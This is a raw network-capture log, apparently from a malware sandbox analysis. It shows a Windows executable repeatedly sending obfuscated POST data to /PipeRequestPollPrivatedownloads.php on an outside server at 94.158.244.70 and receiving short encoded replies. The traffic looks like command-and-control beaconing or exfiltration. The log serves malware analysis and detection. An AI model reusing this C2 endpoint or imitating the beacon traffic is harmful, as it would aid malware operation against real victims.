Sep 1, 2024 23:58:39.881196976 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:40.232418060 CEST	1040	OUT	Data Raw: 55 51 5d 59 58 52 59 54 5b 5b 54 51 5b 51 56 56 57 50 5a 48 50 52 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQ]YXRYT[[TQ[QVVWPZHPRQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#Z&V"[!Y=%B.%U75 ,71. U<1[&=-Z%/3?;9G$#P/4
Sep 1, 2024 23:58:40.475326061 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:40.606282949 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49847	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:40.733736992 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:41.091597080 CEST	1040	OUT	Data Raw: 50 5c 58 5f 58 5c 59 5f 5b 5b 54 51 5b 54 56 50 57 51 5a 44 50 5a 51 5b 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\X_X\Y_[[TQ[TVPWQZDPZQ[^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]'09!&T<D.U"6 U/[$%.,V?/%-&$<$?;9G$#P/
Sep 1, 2024 23:58:41.315262079 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:41.442902088 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49848	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:41.564634085 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:41.919707060 CEST	1040	OUT	Data Raw: 55 59 58 5d 58 59 59 55 5b 5b 54 51 5b 57 56 52 57 52 5a 46 50 5f 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UYX]XYYU[[TQ[WVRWRZFP_Q_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 2 _6<2%2B-S"5<W,[$1-(+#%Z%?8(;9G$#P/,
Sep 1, 2024 23:58:42.136312962 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:42.261003971 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49849	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:42.573610067 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49850	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:42.781563044 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:43.141530037 CEST	1756	OUT	Data Raw: 55 5d 58 53 5d 5e 5c 53 5b 5b 54 51 5b 5c 56 56 57 53 5a 44 50 58 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XS]^\S[[TQ[\VVWSZDPXQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#^20_5Q%1#:\=V 6 W,>;2 S<!]2>9X0/8+9G$#P/
Sep 1, 2024 23:58:43.374180079 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:43.504683971 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:43 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 5b 25 58 33 53 32 3f 00 16 31 1f 2c 53 29 19 02 41 2d 3e 28 07 22 30 20 10 38 05 3e 1f 22 33 36 40 2b 2a 23 01 3f 2d 34 55 21 1d 20 51 04 12 21 5e 36 3e 32 08 2d 15 31 5c 27 22 23 11 22 1e 0c 1c 28 2a 08 0c 21 39 36 5e 31 30 3d 5c 2b 2c 20 54 2e 38 23 1e 3d 59 3e 54 34 12 21 56 0f 12 25 52 31 3a 3c 03 27 3f 38 54 33 06 21 5e 36 2e 2b 5a 34 39 2c 0b 31 33 31 07 29 2f 3b 5b 29 2e 25 5b 30 3c 2a 5d 30 3d 2b 1c 26 2c 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "[%X3S2?1,S)A->("0 8>"36@+#?-4U! Q!^6>2-1\'"#"(!96^10=\+, T.8#=Y>T4!V%R1:<'?8T3!^6.+Z49,131)/;[).%[0<*]0=+&,#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49851	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:42.965692043 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:43.311403990 CEST	1032	OUT	Data Raw: 55 5b 5d 5e 58 58 5c 53 5b 5b 54 51 5b 55 56 5e 57 57 5a 47 50 59 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[]^XX\S[[TQ[UV^WWZGPYQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#10=6,>224E-!U 4-.?&-$W<!$."%,?(9G$#P/
Sep 1, 2024 23:58:43.539810896 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:43.664762974 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49852	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:43.797683001 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:44.154079914 CEST	1040	OUT	Data Raw: 55 5c 5d 5f 58 58 59 53 5b 5b 54 51 5b 56 56 5f 57 55 5a 49 50 5c 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\]_XXYS[[TQ[VV_WUZIP\Q]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\'09!,&V%"4D:\=7%U-=$Z23?20X2='?<+9G$#P/(
Sep 1, 2024 23:58:44.374605894 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:44.501555920 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49853	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:44.627593994 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:44.983449936 CEST	1040	OUT	Data Raw: 55 5b 58 5e 58 5b 59 52 5b 5b 54 51 5b 52 56 5f 57 55 5a 47 50 5b 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[X^X[YR[[TQ[RV_WUZGP[Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#_&V15*U'1#:)V %V88]%+?1."$/8+9G$#P/
Sep 1, 2024 23:58:45.210372925 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:45.339282990 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49854	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:45.560949087 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:45.919886112 CEST	1040	OUT	Data Raw: 55 5c 58 5a 58 5d 59 53 5b 5b 54 51 5b 51 56 54 57 5a 5a 46 50 53 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\XZX]YS[[TQ[QVTWZZFPSQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[%"5:&9)1#64/-(\1;+$29\'8<+9G$#P/4
Sep 1, 2024 23:58:46.254527092 CEST	1040	OUT	Data Raw: 55 5c 58 5a 58 5d 59 53 5b 5b 54 51 5b 51 56 54 57 5a 5a 46 50 53 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U\XZX]YS[[TQ[QVTWZZFPSQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#[%"5:&9)1#64/-(\1;+$29\'8<+9G$#P/4
Sep 1, 2024 23:58:46.808816910 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:46.808944941 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:46.809309959 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:46.973398924 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49855	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:47.092510939 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:47.451080084 CEST	1032	OUT	Data Raw: 55 50 58 58 5d 58 59 5e 5b 5b 54 51 5b 55 56 54 57 5b 5a 47 50 52 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UPXX]XY^[[TQ[UVTW[ZGPRQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2 9"<&T&"+99U#+/[$[2$U(<]2>!$0<+9G$#P/,
Sep 1, 2024 23:58:47.674635887 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:47.805440903 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49856	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:47.949031115 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:48.297288895 CEST	1040	OUT	Data Raw: 50 58 5d 5f 58 5e 59 51 5b 5b 54 51 5b 5d 56 55 57 53 5a 40 50 58 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PX]_X^YQ[[TQ[]VUWSZ@PXQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%0.6/*'"4,)2#%4/.+2>,S<"#2>'/$(;9G$#P/
Sep 1, 2024 23:58:48.519624949 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49857	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:48.519239902 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:48.872817993 CEST	1756	OUT	Data Raw: 50 5a 58 5f 5d 5f 5c 57 5b 5b 54 51 5b 54 56 5f 57 57 5a 46 50 53 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZX_]_\W[[TQ[TV_WWZFPSQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &=!?!11'::.#;<&- W+&-X','+9G$#P/
Sep 1, 2024 23:58:49.098514080 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:49.226316929 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:49 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 22 5e 32 00 2f 56 27 3c 2a 16 26 31 09 0e 29 09 28 44 2e 10 27 5e 22 33 3b 0f 2d 3c 3e 11 22 55 2a 06 2b 2a 30 59 3c 04 30 57 36 27 20 51 04 12 22 02 22 3e 2e 0e 2c 2b 3a 00 25 32 2b 5a 21 0e 0b 03 3c 14 2e 08 23 3a 03 07 26 23 25 1f 28 2f 23 0e 2c 38 23 1f 29 59 39 0b 22 28 21 56 0f 12 26 0e 27 29 3b 5a 26 2c 38 1d 33 06 25 5d 35 10 3f 5c 20 3a 23 52 26 33 32 17 29 3c 30 00 3c 2e 31 1c 27 05 3e 16 27 3d 0d 56 27 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: "^2/V'<&1)(D.'^"3;-<>"U+*0Y<0W6' Q"">.,+:%2+Z!<.#:&#%(/#,8#)Y9"(!V&');Z&,83%]5?\ :#R&32)<0<.1'>'=V'#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49858	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:48.685830116 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:49.044853926 CEST	1040	OUT	Data Raw: 55 5b 58 5d 58 5c 59 55 5b 5b 54 51 5b 57 56 57 57 57 5a 48 50 5e 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U[X]X\YU[[TQ[WVWWWZHP^QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 10#<&U%,9-S"%+;>(Y%[$<2 ]%$Y0++9G$#P/,
Sep 1, 2024 23:58:49.258974075 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:49.384943962 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:58:49.645757914 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49859	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:49.647059917 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:49.997859001 CEST	1040	OUT	Data Raw: 55 5d 58 59 58 5a 59 51 5b 5b 54 51 5b 52 56 57 57 57 5a 46 50 52 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XYXZYQ[[TQ[RVWWWZFPRQZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#&#&["-&+-*R#T8'$-$T(24X&=6',)+9G$#P/
Sep 1, 2024 23:58:50.248300076 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:50.378585100 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49860	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
